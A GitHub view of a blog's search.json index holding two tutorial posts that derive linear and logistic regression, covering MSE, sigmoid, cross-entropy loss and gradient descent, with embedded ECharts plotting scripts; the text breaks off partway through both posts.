-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsearch.json
More file actions
1 lines (1 loc) · 202 KB
/
search.json
File metadata and controls
1 lines (1 loc) · 202 KB
1
[{"title":"Linear Regression & its mathematics","url":"/2025/10/03/AI/linear-regression-and-its-math/","content":"\n\nSimply recording something about linear regression and its\nmathematics.\n>> [zhTW version] <<\n\n\nLinear Regression\nTL;DR: with a batch of data, find the trend, use the trend to\npredict, this is linear regression analysis.\n\nFor example: 10,000 pieces of data showing the relationship between\nadvertising budget and sales revenue.\n\nThe essence of regression analysis is model building and inference(or\nprediction).\nTake above example, the model can tell us what effect it has on revenue\nfor every dollar increase in advertising.\nI will use the simplest linear regression to explain.\n\nIn order for the model to work properly, we will assume there is some\nkind of linear relationship between advertising budget and\nrevenue.\nWhich means, if you spend more money on advertising, revenue will\nroughly increases.(Not exactly correct, but we assume this trend\nworks)\nBesides, we also assume each data point is independent(the sales revenue\nwould not be effected by previous weeks), and model’s prediction error\nwould not get bigger or smaller based on advertising budget.\nThese assumptions help us to use a simple way to learn how an\neffective model works.\nOf course, reality work would not always follow these assumptions, but\nwe can understand the foundations of a model.\n\nHow to build model\n\nMathematic assumption: the purpose of modeling is to find out a\nformula as close as possible to the trend.\nTake single feature linear regression as example:\n\\[\nh(x) = w x + b\n\\] We can simplify with:\n\\[\n\\hat{y} = w x + b\n\\] The \\(x\\) is variable(like\nadvertising budge), \\(\\hat{y}\\) is\npredicted value(how much revenue gain),\nAnd \\(w_1\\)(weight) \\(b\\)(bias) is the parameters model needs to\nlearn and optimize.\nLoss Function: measure the error during the training\nprocess.\nBased on the error, we can tune the training direction(by changing\nweight and bias).\nFor example, inside the training data, \\(x =\n1, y = 9\\)，\nBut the predict value from model is \\(x = 1,\n\\hat{y} = 7\\), the \\(2\\) is the\nerror.\n\nError = Actual Value - Predicted Value\n9 (Actual Value) - 7(Predicted Value) = Residual\n\nError is acceptable, becuz there is no “perfect” model.\nBut once an error becomes too big and is classified as an outlier, the\nfunction of the Loss Function is precisely to aggregate and utilize. The\ncommon way in Loss Function is MSE(Mean Square Error).\nOptimizer: tune the parameter during the training process By\nusing loss function with proper optimizing strategy to achieve the goal\nof changing parameter in next iteration.\n\nLoss Function\nMSE(Mean Square Error)：\n\\(J_\\mathbf{MSE} = \\frac1{m}\\sum_{i=1}^{m}\n(y_{i} - \\hat{y}_{i}) ^ 2\\)\nQ: Why MSE can be use as loss function?\n\nWe hope we can find a formula, which can calculates the whole errors\nduring the whole dataset, and we do our best to let this formula as\nclose as possible to zero, which means the performance of model is\ngood.\n\nDe-assemble MSE by chart\n\n\n\n\n document.addEventListener('DOMContentLoaded', function() {\n var myChart = echarts.init(document.getElementById('mse'));\n \n var rawData = [\n [2, 50], [4, 65], [6, 50], [8, 90], [10, 75], [12, 160]\n ];\n\n function predict(x) {\n return 5 * x + 35;\n }\n\n var residualData = rawData.map(function(item) {\n var x = item[0];\n var actualY = item[1];\n var predictedY = predict(x);\n \n return [x, actualY, predictedY];\n });\n \n var regressionLineData = [\n [2, predict(2)],\n [12, predict(12)]\n ];\n\n var option = {\n backgroundColor: '#fff',\n legend: {\n data: ['Original Data', 'Regression line', 'Error'],\n bottom: 0\n },\n xAxis: {\n type: 'value',\n name: 'Budget(10K)',\n min: 0,\n max: 14,\n nameLocation: 'middle'\n },\n yAxis: {\n type: 'value',\n name: 'Revenue(10K)',\n min: 30,\n max: 180,\n nameLocation: 'middle'\n },\n series: [\n {\n name: 'Original Data',\n type: 'scatter', \n data: rawData,\n symbolSize: 15,\n itemStyle: { color: '#007bff' }\n },\n {\n name: 'Regression Line',\n type: 'line', \n data: regressionLineData,\n symbol: 'none',\n lineStyle: {\n color: 'red',\n width: 3,\n type: 'solid'\n }\n },\n {\n name: 'Error',\n type: 'custom',\n data: residualData,\n renderItem: function (params, api) {\n var xValue = api.value(0);\n \n var pointActual = api.coord([xValue, api.value(1)]);\n var pointPredicted = api.coord([xValue, api.value(2)]);\n\n // 绘制线段 (残差)\n return {\n type: 'line', \n shape: {\n x1: pointActual[0], \n y1: pointActual[1], \n x2: pointPredicted[0], \n y2: pointPredicted[1] \n },\n style: api.style({\n stroke: api.value(1) > api.value(2) ? 'green' : 'orange', \n lineWidth: 2,\n lineDash: [4, 4] // 虚线\n })\n };\n }\n }\n ]\n };\n\n myChart.setOption(option);\n });\n\nAs you can see from the chart, red line represents the regression\nline in a training, blue dot is actual value( \\(x_i, y_i\\) ),x-axis as variable,each dot on\nthe red line is the predicted value( \\(\\hat{y}\\) ) in the given variable\nx.。\nThere is some positive error and negative error, the purpose of training\nis to reduce these error as many as possible.\nIn the chart, \\(\\hat{y}_6\\) (predicted\nvalue)has a huge difference with actual value, we call it outlier, this\noutlier may cause impact to the training result.\nBelow it the error base on the chart: \\[\n\\begin{align*}\nE_i &= y_i - \\hat{y}_{i} \\\\\nE_1 &= 50 - 45 = 5 \\\\\nE_2 &= 65 - 55 = 10 \\\\\nE_3 &= 50 - 65 = -15 \\\\\nE_4 &= 90 - 75 = 25 \\\\\nE_5 &= 75 - 85 = -10 \\\\\nE_6 &= 160 - 95 = 65\n\\end{align*}\n\\] If we are going to calculates the average error, normally way\nto do it is find average value with summation of errors(Arithmetic\nMean):\n\\[\n\\frac{1}{m}\\sum_{m=1}^{m} E_{i}\n\\] This bring a problem:\nPositive and negative error will cancel each other out(or offset), thus\nwe need to find another way to avoid the cancellation.\nMAE vs MSE\nIn match, common way to remove negative value is by take absolute or\nsquare. \\[\n\\begin{align*}\nMean Absolute Error, MAE &= \\frac{1}{m}\\sum_{m=1}^{m}\n\\big|E_{i}\\big| \\\\\nMean Square Error, MSE &= \\frac{1}{m}\\sum_{m=1}^{m} {E_{i}}^2\n\\end{align*}\n\\] Two ways, which one should we use?\nWe keep this problem for now, I will answer later.\nIn the applied math in machine learning, there is no single correct\nanswer; it’s more about trade-offs.\nOptimizer\nThe purpose of optimizing is to gradually change the value of \\(w\\) in order to reduce the error from loss\nfunction, it would be ideal to get zero from loss function.\nIn machine learning fields, optimizer usually represents gradient-based\noptimizers,\nthere is more other optimizing strategy, but we won’t discuss in this\narticle.\nGradient Descent\nThe essence of a gradient is the derivative, it points to the fastest\ngrowth direction at current position(steepest uphill),\nIn order to make it easier to understand the mathematic theory, I will\nsimplify the predict function \\(\\hat{y}_i\\) into a single-feature\nfunction.\n\nHere we let \\(b = 0\\) is just only\nto help us to discuss the theory, in practice, you won’t even see this\nkind of ideal situation. If \\(b != 0\\)\nwill let the gradient descent function become a dual-feature, that would\nmake this section much more complicated, so I will skip this part\nhere.\n\n\\[\n\\begin{align*}\n\\because Let\\space b &= 0 \\\\\n\\therefore \\hat{y}_i &= wx + 0 \\\\\n&= wx\n\\end{align*}\n\\] We just need to involve with feature \\(w\\) .\n\n\n\n\n document.addEventListener('DOMContentLoaded', function() {\n var myChart = echarts.init(document.getElementById('jw_curve'));\n\n var rawData = [\n [2, 50], [4, 65], [6, 50], [8, 90], [10, 75], [12, 160]\n ];\n\n function mse(w) {\n let sum = 0;\n for(let i = 0; i < rawData.length; i++) {\n sum += (rawData[i][1] - w * rawData[i][0]) ** 2;\n }\n return sum / rawData.length;\n }\n\n function errorData() {\n let data = [];\n for (let i = -10; i ","categories":["AI"],"tags":["AI","Machine Learning","Regression Analysis","Linear Regression"]},{"title":"Logistic Regression & its mathematics","url":"/2025/10/07/AI/logistic-regression-and-its-math/","content":"This time let’s talk about Logistic Regression.\nReaders need some concept of the natural logarithm.\n>> [zhTW version] <<\n\nLogistic Regression\nTL;DR: Data classification based on linear regression.\n\nFor example: classifying one thousand mails as either junk or not\njunk mail.\n\nThe essence of logistic regression is that it is also a linear\nmodel(using a linear combination).\nUnlike linear regression, which finds relationships between input\nfeature(x) and output value(y), logistic regression is trying to find an\nequation that serves as the decision boundary separating data\ncategories.\nMathematical assumption\nIn contrast to the assumption in linear regression: \\[\n\\hat{y} = wx + b\n\\] \\(\\hat{y}\\) and \\(x\\) are the data points actually located in\na 2-dimension coordinate system.\nBut logistic regression can choose how many features to use as\nparameter, same example in 2-dimension coordinate system:\n\\[\nz = w_1x_1 + w_2x_2 + b\n\\] \\(x_1\\) and \\(x_2\\) represent the 2 axes in 2-dimension,\nwe will take this assumption to continue with the derivation.\nDefinition in Linear Algebra\n\\[\nz = w_1x_1 + w_2x_2 + b\n\\] The equation is actually a linear expression, it means the\ncalculation considering all the variables (\\(x_1, x_2\\)), parameters(\\(w_1, w_2\\)) and bias \\(b\\), this calculation eventually returns a\nscore. The score determines whether \\(x_1,\nx_2\\) belongs to category A or B(Because its binary\nclassification).\nIn this equation, all of \\(w, x ,b\\)\nare real numbers, thus the score \\(z\\)\nwill be in the interval of \\((-\\infty,\n\\infty)\\) 。\n\nWhich can also be represented as: \\(z \\in\n(-\\infty, \\infty)\\)\n\nProbability\nLet’s forget about the linear algebra stuff first, back to the\nessences of binary classification, our goal eventually wants to\ncalculate the probability of a data point is in category. When it comes\nto probability, the most direct understanding of it should the range of\nprobability, which is \\(P \\in [0,\n1]\\).\nIf we want to find a mapping between probability and equation of\nlinear algebra, these two intervals cannot be directly mapped (to each\nother).\nOdds\nHere comes the concept of Odds, the definition of Odds is slightly\ndifferent from Probability: It is the ratio of the probability of an\nevent happening to the probability of it not happening.\nAssume the probability of a event happened is \\(P\\): \\[\nOdds = \\frac{P}{1-P}\n\\]\nFor example: from Probability to Odds If the probability to pass the\nexam \\(P = 0.9 (90\\%)\\)\n\nP of happening \\(0.9\\)\nP of not happened \\(1 - 0.9 =\n0.1\\)\nOdds would be \\(\\frac{0.9}{0.1} =\n9\\)\n\nThe value of 9 means the probability of a student passing is nine\ntimes the probability of them failing.\nNormally we write it \\(9:1\\).\nThe range of Odds can be determined from the formula: \\[\nOdds \\in [0, \\infty)\n\\] The range can expands to \\(\\infty\\) in positive direction, mapping\nhalf of the required range to the linear expression.\nNext step is to find a way to map \\(-\\infty\\).\nLog-Odds function\nAs we known from above, the range of Odds is \\([0, \\infty)\\), when \\(P\\) is much more big, the Odds will more\nclose to \\(\\infty\\) but not \\(\\infty\\), otherwise it will get smaller,\nand infinitely close to zero but not zero.\nThus, the question becomes: how do we use an equation to map the input\nthat is close to zero into a sufficiently large negative value, even\nclose to negative infinity.\nThere is a cool mathematical tool called natural logarithm: \\(\\ln(x) = log_e{x}\\)\nWe can recall from logarithm:\n\\[\n\\begin{align*}\nlog_{2}2 &= log_{2}{2 ^ 1} = 1 \\\\\nlog_{2}4 &= log_{2}{2 ^ 2} = 2 \\\\\nlog_{3}9 &= log_{3}{3 ^ 2} = 2 \\\\\nlog_{3}81 &= log_{3}{3 ^ 4} = 4 \\\\\n\\end{align*}\n\\] Then let’s review the natural logarithm:\n\\[\n\\begin{align*}\n\\ln(x) &= log_{e}x \\\\\n\\text{Let } log_{e}x &= y \\\\\n\\text{Then } e^y &= x \\\\\n\\end{align*}\n\\] For example, \\(\\ln(1)\\):\n\\[\n\\begin{align*}\nlog_{e}1 &= y \\\\\ne^y &= 1 \\\\\ny &= 0\n\\end{align*}\n\\] What if a number smaller than 1? \\(\\ln(0.5)? \\ln(0.1)?\\):\n\\[\n\\begin{align*}\n\\ln(0.5) &= \\ln(\\frac{1}{2}) \\\\\n&= \\ln(1) - \\ln(2)\\quad(\\because \\ln(\\frac{a}{b}) = \\ln{a} - \\ln{b})\n\\\\\n&= 0 - \\ln(2)\\quad(\\because \\ln(1) = 0) \\\\\n&= - \\ln(2) \\\\\n\\\\\n\\ln(0.1) &= \\ln(\\frac{1}{10}) \\\\\n&= \\ln(1) - \\ln(10) \\\\\n&= -\\ln(10)\n\\end{align*}\n\\] In the interval of \\(0 < x <\n1\\) we can find out, if we put it into a natural logarithm, the\nreturn value would be a negative real number.\nAnd as the value of \\(x\\) gets closer\nto 0, the return value becomes a larger negative value(or more\nnegative), and closer to negative infinity.\nLets apply this into Odds:\n\\[\n\\begin{align*}\nOdds &= \\frac{P}{1 - P} \\\\\nLog-Odds &= \\ln(\\frac{P}{1-P}) = z \\\\\ne^z &= e^{\\ln(\\frac{P}{1-P})} \\\\\ne^z &= \\frac{P}{1-P} \\\\\ne^z(1-P) &= P \\\\\ne^z - e^{z}P &= P \\\\\ne^z &= P + e^{z}P \\\\\ne^z &= P(1 + e^z) \\\\\nP &= \\frac{e^z}{1 + e^z}\n\\end{align*}\n\\]\nSigmoid\nEventually, we found the Log-Odds function, and it is also known as\nthe Sigmoid function.\nAs we have derived the function up to this point, our goal was to find a\nmethod in probability theory that could map the interval of \\((-\\infty, \\infty)\\).\nAfter going from Odds \\([0, \\infty)\\)\nto Log-Odds \\((-\\infty, \\infty)\\), we\nhave successfully achieved this mapping.\nWe use \\(\\sigma(z)\\) to\npresents:\n\\[\n\\sigma(z) = \\frac{e^z}{1 + e^z}\n\\]\nNext we will simplify it into the common form of Sigmoid(which is not\nstrictly necessary):\n\\[\n\\begin{align*}\nP = \\sigma(z) &= \\frac{e^z}{1 + e^z} \\\\\n&= \\frac{\\frac{e^z}{e^z}}{\\frac{1}{e^z} + \\frac{e^z}{e^z}} \\\\\n&= \\frac{1}{1 + e^{-z}} \\quad \\because \\frac{1}{e^z} = e^{-z}\n\\end{align*}\n\\]\nThe purpose of this function is to mapping the range of linear\nfunctions \\(z = w_1x_1 + w_2x_2 + b\\)\nto the range of probability \\([0, 1]\\)\n.\nDecision Boundary\nAfter we found a tool(Sigmoid) helping us calculates probability,\nReturning to our goal, which is classification.\nThe linear function \\(z\\) can help us\ndefine a boundary in order to find the zone of the binary categories;\nhence on this line, the probability of category A or B is the same(50%),\nwhich means \\(P = 50\\% = 0.5\\) .\n\nIn other words, when \\(P > 0.5\\)\n, recognize it to be A; otherwise \\(P <\n0.5\\) will be B.\n\nHence:\n\\[\n\\begin{align*}\n\\sigma(z) &= P \\\\\n=> P &= \\frac{1}{1 + e^{-z}} \\\\\n=> 0.5 &= \\frac{1}{1 + e^{-z}} \\\\\n=> 1 &= 0.5 + 0.5e^{-z} \\\\\n=> 0.5 &= 0.5e^{z-} \\\\\n=> 1 &= e^{-z} \\\\\n=> z &= 0 \\\\\n\\end{align*}\n\\]\nWhen $P=0.5, z = 0, then \\(z = w_1x_1 +\nw_2x_2 + b = 0\\)\nThis equation represents the decision boundary in the coordinate system,\non the two sides of this line will be categorized to A or B.\nThe next question is: based on the actual training data, do the\nparameter \\(w_1, w_2, b\\) in the\nequation match the actual category(actual value),\nWe need to train model using machine learning.\nLoss Function\nSame as linear regression, we need to find a mathematic tool to\naggregate the error which calculated from the after-training prediction\nand the in-data set actual value, in order to be the reference in\noptimizing strategy.\nIn binary classification using logistic regression, the error means “If\na data point is category A, but is classified as B”, this kind of error\nneeds to be evaluated for each data point in the training set.\nSo we need to find a tool can help us compare the difference between\npredict value and actual value:\nCross-Entropy loss function\nIf \\(y\\) is actual label(result of\nclassification,\\(0 or 1\\), 0 represents\ncategory A, 1 represents category B), \\(p\\) is the predicted probability.\nWe need to find a method which returns error when actual value is 0, but\npredict value gives 1; and conversely; but if each of actual value and\npredict value is the same, returns nothing.\nIn other word:\n\\[\n\\begin{align*}\ny = 1, p = 0, \\quad \\text{error!} \\\\\ny = 0, p = 1, \\quad \\text{error!} \\\\\ny = 1, p = 1, \\quad \\text{good!} \\\\\ny = 0, p = 0, \\quad \\text{good!}\n\\end{align*}\n\\] Same as \\(p \\in [0,\n1]\\):\n\\[\n\\begin{align*}\ny = 1, p &= 0.1, \\quad \\text{big big error!} \\\\\ny = 1, p &= 0.3, \\quad \\text{minor error!} \\\\\ny = 1, p &= 0.9, \\quad \\text{good!} \\\\\n\\end{align*}\n\\] We also need to ensure that the error magnitude reflects the\ndegree of the mismatch.\nBelow we will use natural logarithm as our mathematic tool again.\nNatural Logarithm\nAs the derivation above, if a number within in the interval of \\([0, 1]\\), given by a natural\nlogarithm,\nwe will get a negative number, if the number closer the \\(0\\), the return value of \\(\\ln\\) will more close to \\(-\\infty\\).\nIf we put probability into natural logarithm, we can get two kinds of\nerror:\n\\[\n\\begin{align*}\n\\ln(p) &=> when y = 1, but p = 0.1 \\\\\n\\ln(1 - p) &=> when y = 0, but p = 1 \\\\\n\\end{align*}\n\\] These two error needs to be apply in different situation,\nhence we need to times a parameter:\n\\[\n\\begin{align*}\ny\\ln(p) &=> when y = 1, but p = 0.1 \\\\\n(1-y)\\ln(1 - p) &=> when y = 0, but p = 1 \\\\\n\\end{align*}\n\\] In this way, these error will be cancel in opposite actual\nvalue, then we can merge these errors:\n\\[[y\\ln(p) + (1-y)\\ln(1-p)]\\]\nThese errors are the negative values resulting from the natural\nlogarithm transformation. The closer the value is to zero, the more\nnegative the result becomes, approaching negative infinity. With the\nfiltering by the parameter(actual value), the negative sign still\nexists, which could be misleading regarding the meaning of “loss”.\nTo better express the magnitude of the loss, we multiply by \\(-1\\) , which inverts the scale so that the\nlarger the resulting positive value, the greater the error is: \\[\nL(y, p) = - [y\\ln(p) + (1-y)\\ln(1-p)]\n\\] This is the cross-entropy loss function.\nAverage Cross-Entropy Loss\nWe can calculates the error of a single data point by cross-entropy\nloss function:\n\\[\nL(y_i, p_i) = -[y_i\\ln(p_i) + (1 - y_i)\\ln(1-p_i)]\n\\] Next we are going to calculates the whole error of the data\nset and these error evenly spread in whole set: \\[\n\\begin{align*}\nLoss &= \\frac{1}{N}\\sum_{i=1}^{N}-[y_i\\ln(p_i) + (1 -\ny_i)\\ln(1-p_i)] \\\\\n&= - \\frac{1}{N}\\sum_{i=1}^{N}[y_i\\ln(p_i) + (1 - y_i)\\ln(1-p_i)]\n\\end{align*}\n\\]\nBy getting this Loss function, we are able to know the offset(error)\nafter each training.\nNext is to find a enhance method then we are good to go to apply in our\noptimizing strategy.\nOptimizer\nThe loss function:\n\\[\nJ(w_1, w_2, b) = - \\frac{1}{N}\\sum_{i=1}^{N}[y_i\\ln(p_i) + (1 -\ny_i)\\ln(1-p_i)]\n\\]\n\n\n\n\n document.addEventListener('DOMContentLoaded', function() {\n let myChart = echarts.init(document.getElementById('loss-function-chart'));\n\n let xData = [-3, -2, -1, 0, 1, 2, 3];\n let yData = [0, 0, 0, 0, 1, 1, 1];\n\n function sigmoid(z) {\n return 1 / (1 + Math.exp(-z));\n }\n\n function average_cross_entropy(w) {\n let sum = 0;\n for (let i = 0; i < xData.length; i++) {\n let p = sigmoid(w * xData[i]);\n p = Math.max(1e-8, Math.min(1 - 1e-8, p)); // Prevent log(0)\n let y = yData[i];\n sum += - (y * Math.log(p) + (1 - y) * Math.log(1 - p));\n }\n return sum / xData.length;\n }\n\n function errorData() {\n let datas = [];\n for (let i = 0; i < 100; i++) { \n let w = -6 + i * (12 / 99); \n datas.push([w, average_cross_entropy(w)]);\n }\n return datas;\n }\n\n let option = {\n backgroundColor: '#fff',\n title: {\n text: 'Curve of average cross entropy in different parameter w'\n },\n xAxis: {\n name: 'w',\n min: -6,\n max: 6\n },\n yAxis: {\n name: 'Average Loss',\n min: 0,\n max: 1.5\n },\n series: [{\n type: 'line',\n smooth: true,\n data: errorData(),\n }]\n }\n myChart.setOption(option);\n });\n\nWith single feature, the chart will look like above;\nThis is the average cross entropy loss when putting different \\(w\\) into linear expression.\nThe process of finding \\(w\\) is exactly\nthe same as the training process.\nIn order to find the best \\(w\\) that\nyields the lowest error, we will gradually use differentiation to find\nthe slope to do so.\n>> [Why using differentiation?] <<\nExpands the Loss Function\nThe chart is just a schematic chart, it doesn’t meats with our\nassumption.\nBecause we have three features \\(w_1, w_2,\nb\\) in our assumption, next we will differentiation of these\nparameters.\nFirst we are going to expands the loss function: \\[\n\\begin{align*}\nJ(w_1, w_2, b) &= - \\frac{1}{N}\\sum_{i=1}^{N}[y_i\\ln(p_i) + (1 -\ny_i)\\ln(1-p_i)] \\\\\n\\because \\sigma(z_i) &= P_i = \\frac{1}{1 + e^{-z_i}} \\\\\n&= - \\frac{1}{N}\\sum_{i=1}^{N}[y_i\\ln(\\frac{1}{1 + e^{-z_i}}) + (1 -\ny_i)\\ln(1 - \\frac{1}{1 + e^{-z_i}})] \\\\\n&= - \\frac{1}{N}\\sum_{i=1}^{N}[y_i\\ln(\\frac{1}{1 + e^{-z_i}}) + (1 -\ny_i)\\ln(\\frac{e^{-z_i}}{1 + e^{-z_i}})] \\\\\n\\because \\ln(\\frac{N}{M}) &= \\ln(N) - \\ln(M) \\quad (N, M > 0) \\\\\n&= - \\frac{1}{N}\\sum_{i=1}^{N}[y_i(\\ln(1) - \\ln(1 + e^{-z_i})) + (1\n- y_i)(\\ln(e^{-z_i}) - \\ln(1 + e^{-z_i}))] \\\\\n\\because \\ln(1) &= 0 \\\\\n&= - \\frac{1}{N}\\sum_{i=1}^{N}[- y_i\\ln(1 + e^{-z_i}) + (1 -\ny_i)(\\ln(e^{-z_i}) - \\ln(1 + e^{-z_i}))] \\\\\n\\because \\ln(e^{-z_i}) &= -z_i \\\\\n&= - \\frac{1}{N}\\sum_{i=1}^{N}[- y_i\\ln(1 + e^{-z_i}) + (1 -\ny_i)[{-z_i} - \\ln(1 + e^{-z_i})]] \\\\\n&= - \\frac{1}{N}\\sum_{i=1}^{N}[- y_i\\ln(1 + e^{-z_i}) - (1 -\ny_i){z_i} - (1 - y_i)\\ln(1 + e^{-z_i})] \\\\\n&= - \\frac{1}{N}\\sum_{i=1}^{N}[\\ln(1 + e^{-z_i})[-y_i -(1 - y_i)] -\n(1 - y_i)z_i] \\\\\n&= - \\frac{1}{N}\\sum_{i=1}^{N}[-\\ln(1 + e^{-z_i}) - (1 - y_i)z_i] \\\\\nJ(w_1, w_2, b) &= \\frac{1}{N}\\sum_{i=1}^{N}[\\ln(1 + e^{-z_i}) + (1 -\ny_i)z_i]\n\\end{align*}\n\\] Then we can move on with differentiation.\nParameter \\(w_1\\):\n\\(\\dfrac{dJ}{dw_1}\\): \\[\n\\begin{align*}\n\\text{Let } f(x_i) &= \\ln(1 + e^{-z_i}) + (1 - y_i)z_i \\\\\n\\dfrac{dJ}{dw_1} &= \\frac{1}{N}\\sum_{i=1}^{N}\\dfrac{d}{dw_1}f(x_i)\n\\\\\n&= \\frac{1}{N}\\sum_{i=1}^{N}\\dfrac{df}{dz_i} \\cdot\n\\dfrac{dz_i}{dw_1} \\quad\n\\because \\dfrac{d}{du}f(x) = \\dfrac{df}{dg} \\cdot \\dfrac{dg}{du} \\tag{1}\n\\\\\n\\\\\n\\dfrac{df}{dz_i} &= \\dfrac{d}{dz_i}[\\ln(1 + e^{-z_i}) + (1-y_i)z_i]\n\\\\\n&= \\dfrac{d}{dz_i}\\ln(1 + e^{-z_i}) + \\dfrac{d}{dz_i}(1 - y_i)z_i \\\\\n&= \\dfrac{d}{dz_i}\\ln(1 + e^{-z_i}) + (1 - y_i) \\tag{2} \\\\\n\\\\\n\\dfrac{d}{dz_i}\\ln(1 + e^{-z_i}) &= \\frac{1}{1 + e^{-z_i}} \\cdot\n\\dfrac{d}{dz_i}(1 + e^{-z_i}) \\quad\n\\because \\dfrac{d}{dg}\\ln(u) = \\frac{1}{u} \\cdot \\dfrac{du}{dg} \\tag{3}\n\\\\\n\\\\\n\\dfrac{d}{dz_i}(1 + e^{-z_i}) &= \\dfrac{d}{dz_i}(1) +\n\\dfrac{d}{dz_i}e^{-z_i} \\\\\n&= 0 + \\dfrac{d}{dz_i}e^{-z_i} \\\\\n\\text{Let } u = -z_i => \\dfrac{d}{dz_i}(1 + e^{-z_i}) &=\n\\dfrac{d}{dz_i}e^u \\\\\n&= \\dfrac{d(e^u)}{du} \\cdot \\dfrac{du}{dz_i} \\quad \\because\n\\dfrac{da}{db} = \\dfrac{da}{dc} \\cdot \\dfrac{dc}{db} \\\\\n&= e^u \\cdot (-1) \\\\\n\\dfrac{d}{dz_i}(1 + e^{-z_i}) &= -e^{-z_i} \\tag{4} \\\\\n\\\\\n\\text{Base on (3), (4)} => \\dfrac{d}{dz_i}\\ln(1 + e^{-z_i}) &=\n\\frac{1}{1 + e^{-z_i}} \\cdot (-e ^ {-z_i}) \\\\\n&= \\frac{-e^{-z_i}}{1 + e^{-z_i}} \\\\\n&= \\frac{-1{e}^{-z_i}e^{z_i}}{(1 + e^{-z_i})e^{z_i}} \\\\\n&= -\\frac{1}{e^{z_i} + 1} \\tag{5} \\\\\n\\text{Proof }\\sigma(-z) = 1 - \\sigma(z) => \\frac{1}{1 + e^z} &= 1\n- \\frac{1}{1 + e^{-z}}\\quad\\because \\sigma(z) = \\frac{1}{1 + e^{-z}},\n\\sigma(-z) = \\frac{1}{1 + e ^ {-(-z)}}\\\\\n=> \\frac{1}{1 + e^z} &= \\frac{1 + e^{-z} - 1}{1 + e^{-z}} \\\\\n=> \\frac{1}{1 + e^z} &= \\frac{e^{-z}}{1 + e^{-z}} \\\\\n=> \\frac{1}{1 + e^z} &= \\frac{e^{-z}e^z}{(1 + e^{-z})e^z} \\\\\n=> \\frac{1}{1 + e^z} &= \\frac{1}{(1 + e^{-z})e^z} \\\\\n=> \\sigma(-z) = \\frac{1}{1 + e^z} = 1 - \\sigma(z) \\tag{6} \\\\\n\\\\\n\\text{Base on (5), (6)} => \\dfrac{d}{dz_i}\\ln(1 + e^{-z_i}) &=\n-\\frac{1}{e^{z_i} + 1} \\\\\n&= - (1 - \\sigma(z_i)) \\\\\n&= \\sigma(z_i) - 1 \\tag{7} \\\\\n\\\\\n\\text{Base on (2), (7)} => \\dfrac{df}{dz_i} &=\n\\dfrac{d}{dz_i}\\ln(1 + e^{-z_i}) + (1 - y_i) \\\\\n&= \\sigma(z_i) - 1 + (1 - y_i) \\\\\n&= \\sigma(z_i) - y_i \\tag{8} \\\\\n\\\\\n\\dfrac{dz_i}{dw_1} &= \\dfrac{d}{dw_i}[w_1x_{i1} + w_2x_{i2} + b]\n\\quad \\because z_i = w_1x_{i1} + w_2x_{i2} + b \\\\\n&= x_{i1} + 0 + 0 \\\\\n&= x_{i1} \\tag{9} \\\\\n\\\\\n\\text{Base on (1), (8), (9)} => \\dfrac{dJ}{dw_1} &=\n\\frac{1}{N}\\sum_{i=1}^{N}\\dfrac{df}{dz_i}\\cdot \\dfrac{dz_i}{dw_1} \\\\\n&= \\frac{1}{N}\\sum_{i=1}^{N}[(\\sigma(z) - y_i)x_{i1}] \\tag{10} \\\\\n\\end{align*}\n\\]\nParameter \\(w_2\\):\n\\(\\dfrac{dJ}{dw_2}\\) \\[\n\\begin{align*}\n\\text{Let } f(x_i) &= \\ln(1 + e^{-z_i}) + (1 - y_i)z_i \\\\\n\\dfrac{dJ}{dw_2} &= \\frac{1}{N}\\sum_{i=1}^{N}\\dfrac{d}{dw_2}f(x_i)\n\\\\\n&= \\frac{1}{N}\\sum_{i=1}^{N}\\dfrac{df}{dz_i} \\cdot\n\\dfrac{dz_i}{dw_2} \\quad\n\\because \\dfrac{d}{du}f(x) = \\dfrac{df}{dg} \\cdot \\dfrac{dg}{du}\n\\tag{11} \\\\\n\\\\\n\\dfrac{dz_i}{dw_2} &= \\dfrac{d}{dw_2}[w_1x_{i1} + w_2x_{i2} + b]\n\\quad \\because z_i = w_1x_{i1} + w_2x_{i2} + b \\\\\n&= 0 + x_{i2} + 0 \\tag{12} \\\\\n\\\\\n\\text{Base on (8), (11), (12)} => \\dfrac{dJ}{dw_2} &=\n\\frac{1}{N}\\sum_{i=1}^{N}\\dfrac{df}{dz_i} \\cdot \\dfrac{dz_i}{dw_2} \\\\\n&= \\frac{1}{N}\\sum_{i=1}^{N}[(\\sigma(z_i) - y_i)x_{i2}] \\tag{13}\n\\end{align*}\n\\]\nParameter \\(b\\):\n\\(\\dfrac{dJ}{db}\\) \\[\n\\begin{align*}\n\\text{Let } f(x_i) &= \\ln(1 + e^{-z_i}) + (1 - y_i)z_i \\\\\n\\dfrac{dJ}{db} &= \\frac{1}{N}\\sum_{i=1}^{N}\\dfrac{d}{db}f(x_i) \\\\\n&= \\frac{1}{N}\\sum_{i=1}^{N}\\dfrac{df}{dz_i} \\cdot \\dfrac{dz_i}{db}\n\\quad\n\\because \\dfrac{d}{du}f(x) = \\dfrac{df}{dg} \\cdot \\dfrac{dg}{du}\n\\tag{14} \\\\\n\\\\\n\\dfrac{dz_i}{db} &= \\dfrac{d}{db}[w_1x_{i1} + w_2x_{i2} + b] \\quad\n\\because z_i = w_1x_{i1} + w_2x_{i2} + b \\\\\n&= 0 + 0 + 1 \\tag{15} \\\\\n\\\\\n\\text{Base on (8), (14), (15)} => \\dfrac{dJ}{db} &=\n\\frac{1}{N}\\sum_{i=1}^{N}\\dfrac{df}{dz_i} \\cdot \\dfrac{dz_i}{db} \\\\\n&= \\frac{1}{N}\\sum_{i=1}^{N}(\\sigma(z_i) - y_i) \\tag{16}\n\\end{align*}\n\\]\nAll the derivative and\ngradient descent\nFrom the equation \\(\\text{(10),\n(13),(16)}\\) above, we can get three derivative:\n\\[\n\\begin{align*}\n\\dfrac{dJ}{dw_1} &= \\frac{1}{N}\\sum_{i=1}^{N}[(\\sigma(z_i) -\ny_i)x_{i1}] \\tag{10} \\\\\n\\dfrac{dJ}{dw_2} &= \\frac{1}{N}\\sum_{i=1}^{N}[(\\sigma(z_i) -\ny_i)x_{i2}] \\tag{13} \\\\\n\\dfrac{dJ}{db} &= \\frac{1}{N}\\sum_{i=1}^{N}(\\sigma(z_i) - y_i)\n\\tag{16} \\\\\n\\end{align*}\n\\] Put it into gradient descent equation:\n\\[\n\\begin{align*}\n\\text{Base on (10), (13), (16)} &=> \\\\\nw_{1new} &= w_{1old} - \\alpha\n(\\frac{1}{N}\\sum_{i=1}^{N}[(\\sigma(z_i) - y_i)x_{i1}]) \\\\\nw_{2new} &= w_{2old} - 